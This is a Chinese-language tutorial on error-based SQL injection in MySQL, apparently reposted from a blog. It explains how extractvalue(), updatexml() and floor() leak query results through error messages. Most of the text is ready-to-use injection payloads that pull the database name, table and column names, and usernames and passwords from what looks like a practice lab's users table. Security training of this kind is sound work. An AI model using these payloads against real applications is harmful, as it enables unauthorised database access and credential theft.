报错注入
1、报错注入的原理
由于后台没有对报错信息进行过滤,报错信息会显示在前端,可以使用指定的函数来制造报错,由
此来获取数据信息。
2、报错函数
extractvalue(xml_frag,xpath_expr):对XML文档数据进行查询的XPATH函数
如果
Xpath
的输入错误,则会将错误信息结果显示在前端。
注:extractvalue()和updatexml()函数查询的最大长度为32位,如果超过32位则需要使用
substring()函数截取 updatexml(xxx,xpath,xxx) floor() exp()
3、报错攻击payload语法
updatexml(1,concat(0x7e,(select database()),0x7e),1) extractvalue(1,concat(0x7e,(select database()))) select count(),(concat(floor(rand(0)2),(select version())))x from user group by x;
4、报错注入思路
注入点探测和判断类型 使用函数来构造报错信息,从而获取数据库名
A
:
a' and extractvalue(1,concat(0x7e,(select database()))) #
由于
extractvalue()
一次只能截取
32
位,所以最后避免使用此函数。
B
:
a' and UpdateXML(1,concat(0x7e,(select database())),3) #
使用updatexml()函数,获取表名
a' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3) #
使用updatexml(),获取字段名
a' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3) #
使用updatexml(),获取数据
A
:
a' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users)),3) # -------只能获取
32
为字符
B
:
a' and updatexml(1,concat(0x7e,(select concat_ws(':',username,password) from security.users limit 1,1)),3) # -------一个字段的输出
C
:
a' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users where username not in ('Dumb','Angelina')))) #
转载请注明原文地址:https://tech.qufami.com/read-14012.html